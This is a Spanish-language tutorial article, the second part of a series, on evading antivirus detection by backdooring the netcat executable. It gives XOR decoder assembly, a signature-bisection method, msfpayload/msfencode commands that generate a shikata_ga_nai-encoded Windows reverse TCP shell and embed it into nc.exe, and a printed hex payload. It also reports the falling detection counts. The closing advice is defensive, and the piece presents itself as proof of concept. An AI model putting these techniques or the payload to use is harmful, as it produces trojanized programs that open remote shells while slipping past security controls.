En la primera parte de este artículo revisé cómo es posible modificar la estructura y el flujo de un programa con el fin de colocar en él código malicioso que permita a un atacante tomar control del sistema donde se ejecuta dicho programa. En esta segunda parte trataré de explicar algunas de las técnicas que se usan para lograr evadir las restricciones de seguridad de los antivirus.

La mayoría de los antivirus trabajan en dos formas:

  • Detección por firmas: existe una base de datos que contiene firmas o fragmentos de código malicioso; cuando un usuario abre un programa, el antivirus valida que no exista una  firma asociada a parte del contenido del programa, en caso contrario se genera una alerta.
  • Detección heurística: cuando no se cuenta con una firma para un código malicioso, el antivirus puede detectar patrones de comportamiento que relaciona con alguna de las firmas existentes y por lo tanto asume que representa una amenaza.

Si se entienden las dos maneras en que trabajan los antivirus, podremos alterar el  flujo o datos de los programas con el fin de evitar que sean detectados. Para explicar cómo hacerlo continuaré trabajando con el archivo nc4.exe que ya fue modificado:

  • A la sección que se creó “.Nueva”,  le daré el atributo de write para permitir su modificación en memoria y tiempo de ejecución.
  • Buscaré espacio libre en el archivo para colocar un codificador.
  • Crearé un codificador simple XOR para nuestro shellcode.
  • Codificaré el shellcode.

Empecemos entonces agregando el atributo de write a la sección .Nueva desde LordPE:

.

Ahora que ya es posible modificar en tiempo de ejecución el programa, se debe identificar el segmento de memoria de inicio y fin en los cuales se encuentran las instrucciones que se van a codificar, esto es, el primer JMP que agregamos y la última instrucción que regresa al flujo original el programa:

.

Ahora se abre el archivo ncV4.exe con Immunity Debbuger y buscamos espacio que no tenga código que se ejecute:

A partir del segmento de memoria 0040A97D comenzará la codificación y queda de la siguiente manera:

en-el-pensar-de-fig-4

.

MOV EAX,00410000 Movemos el registro EAX al inicio de memoria a codificar.
   
XOR
BYTE PTR DS:[EAX],30
Se aplica una función XOR al valor del registro de EAX; el 30 representa la llave para la función.
   
INC EAX  Se incrementa EAX para ir al siguiente registro.
   
CMP EAX,0041013A Se compara si ya se llegó al fin de las instrucciones a codificar.
   
JLE SHORT 0040A982 Se regresa a la instrucción del XOR hasta que se cumpla la condición de llegar al final de las instrucciones.

.

Al añadir estas sentencias, en el momento en que se ejecutan codifican de manera muy simple las instrucciones inyectadas. Estas nuevas instrucciones codificadas se guardan en el archivo ejecutable. En la siguiente imagen se puede ver la diferencia entre los códigos:

.

El paso que sigue es cambiar el flujo del programa para que vaya a este segmento de memoria y, al terminar la codificación, continúe con el flujo normal del programa. Con esto, el nuevo nc4.exe queda así:

en-el-pensar-de-fig-6

.

Nota: Recuérdese que siempre que se hace un cambio hay que guardarlo.

.

Si ahora se analiza el nuevo ejecutable con los diversos antivirus el resultado es:

.

Como puede observarse, muchos de los antivirus captan el archivo como NetCat, y han dejado de detectar el código malicioso.[i]

¿Qué sigue ahora? Pensemos que si con una simple codificación XOR se ha logrado ocultar código malicioso ¿Será  posible que incluso el archivo no se detecte como nc.exe?

La técnica más común es buscar el código con la firma que usan los antivirus, cada fabricante utiliza diversos segmentos de código de los programas. Una manera rápida de detectar dichos segmentos es dividir el archivo en dos, analizar cada parte por separado y validar cuál de ellas es detectada como una amenaza. Si se repite en varias iteraciones el procedimiento con la mitad que activa la alarma, se puede encontrar el segmento que genera la alerta.

Dado que el propósito del artículo es solo mostrar pruebas de concepto, para efectos de esta explicación codificaremos toda la sección .text del archivo por medio del  mismo procedimiento, pero cambiando el inicio del segmento de memoria de nuestro primer salto y terminando justo antes de iniciar el codificador del shellcode.

.

En este caso se usó una pequeña variante del XOR, se utilizó el registro BL del cual se estableció su valor inicial en 1; dicho valor se incrementará con cada iteración del ciclo que codifica o decodifica nuestras instrucciones, por tal razón cada instrucción recibirá una codificación XOR con un valor diferente.

Si realizamos un análisis de este nuevo archivo [ii] se puede observar que ahora solo es detectado por 15 de 44 antivirus.

.

Sin detallar demasiado comentaré que existen herramientas que ayudan a probar la efectividad de nuestros programas antivirus. En el caso de la codificación, la suite de herramientas Metasploit incluye una utilería llamada msfencode que codifica los shellcode que genera.

Msfencode cuenta con diversas maneras de realizar la codificación, que van desde aplicar funciones de XOR básicas hasta la técnica de shikata ga nai, la cual implementa un XOR polimórfico. Un ejemplo de esto se muestra a continuación:

./msfpayload windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=6666 R | msfencode -e  x86/shikata_ga_nai -c 5 | grep -v buf | sed
‘s/»//g’ | sed ‘s/+//g’| sed ‘s/\\x//g’ | tr -d ‘\n’ | sed ‘s/ //g'[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)[*] x86/shikata_ga_nai succeeded with size 368 (iteration=2)

[*] x86/shikata_ga_nai succeeded with size 395 (iteration=3)

[*] x86/shikata_ga_nai succeeded with size 422 (iteration=4)

[*] x86/shikata_ga_nai succeeded with size 449 (iteration=5)

 

d9cbd97424f45ebfe22acb9633c9b16a317e19037e1983c60400df7063f8ab0656cb757c433fdf4e420e833

3be8c756e2e6f2c9fb26f36d60b91b649184aed91af18830b864f40212403cdcc945e94b8616378535e51fa

13d85c8059f03bf054bfd11da8c7f677f99105c69939ce0615c13c1f04fa605d3e46300c8f2eea59789f012e4

327d1cc363d04fbc2d026d5b4ea6b47a9ce0f6c1f9e31bdcc2a356a04f1be9164fe77c40f7f68d42c00b01dc9

c1a067cc7e273dcb7b922eaefb75fd23cda7fd9f9484e0d657183176ddf94a0d794c64294cb1367f5b6a94217

46ba83ec3db314eee778462aafe88d9596cd0517b284427e26c27093b1e82da08e1419b4a1cddab886ed4c

1028be96a184d350b709e42080c122388acbd9d79f01c45872491a5346c4160842290fafbf763ec4b6ed2ff4

9fa6b2055d7f0333189472d1346d2dd99b2175cb00f37dd7ecd14cc33ab27b445ce08d54f8ebdee440d284c

0353170a1e01dc741f934a3f76aad34075009c178f0787f64225b2418d6d07ae13a47063b926a119749ca25

598aabbb8cea5ca3263aadf47d6d8c7047461bd65ca58c7c29c99a2e6dcfaa3ce65c3e0ef6bb4d014d02c261

af74c70ba127d3f0f5bf7

.

Sugerencia: como se pudo determinar en la primera parte de este artículo, una de las condiciones en las que puede  caer nuestro shellcode es en una condición de ciclo, esto es posible por la función “WaitForSingleObject”. Ahora que la información se encuentra codificada, lo mejor es poner un breakpoint cuando se mande llamar a “CreateProcessA”,  seguir la ejecución a paso a paso y volver a detectar cuando se pase el valor -1.

Continuando con el proceso, desde executable modules en el debuger, buscamos la función “kernell32.CreateProcessA” y colocamos un breakpoint con el fin de que se detenga en ese momento la ejecución del código. Seguimos el proceso paso a paso con F8:

.

También existe una manera aún más simple de codificar las instrucciones del shellcode la cual sería usar la siguiente instrucción que genera el código de reverse_shell y se agrega al archivo nc.exe para crear un nuevo archivo llamado ncN.exe:

./msfpayload windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=6666  R | ./msfencode -t exe -x nc.exe -k -o ncN.exe -e x86/shikata_ga_nai -c 5

[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)

[*] x86/shikata_ga_nai succeeded with size 368 (iteration=2)

[*] x86/shikata_ga_nai succeeded with size 395 (iteration=3)

[*] x86/shikata_ga_nai succeeded with size 422 (iteration=4)

[*] x86/shikata_ga_nai succeeded with size 449 (iteration=5)

.

Conclusiones

Mostrando algunos ejemplos de codificación espero haber brindado una visión global de lo simples que son algunas de las técnicas que usan los chicos malos con el fin de evadir nuestros controles de seguridad y colar programas aparentemente inofensivos, a partir de lo cual haría las siguientes recomendaciones generales:

  •  No abrir ni ejecutar cualquier archivo ejecutable que recibamos, a menos que estemos seguros de su origen.
  • Si se requiere bajar archivos ejecutables de Internet siempre validar el hash del archivo bajado versus el indicado por el fabricante.
  • Al realizar pruebas con archivos ejecutables de origen dudoso, hacerlo en ambientes controlados y aislados.
  • Sobre todo, siempre ser precavido al manipular archivos ejecutables o incluso algunos otros tipos como son PDF, FLASH, etcétera.

.

[email protected]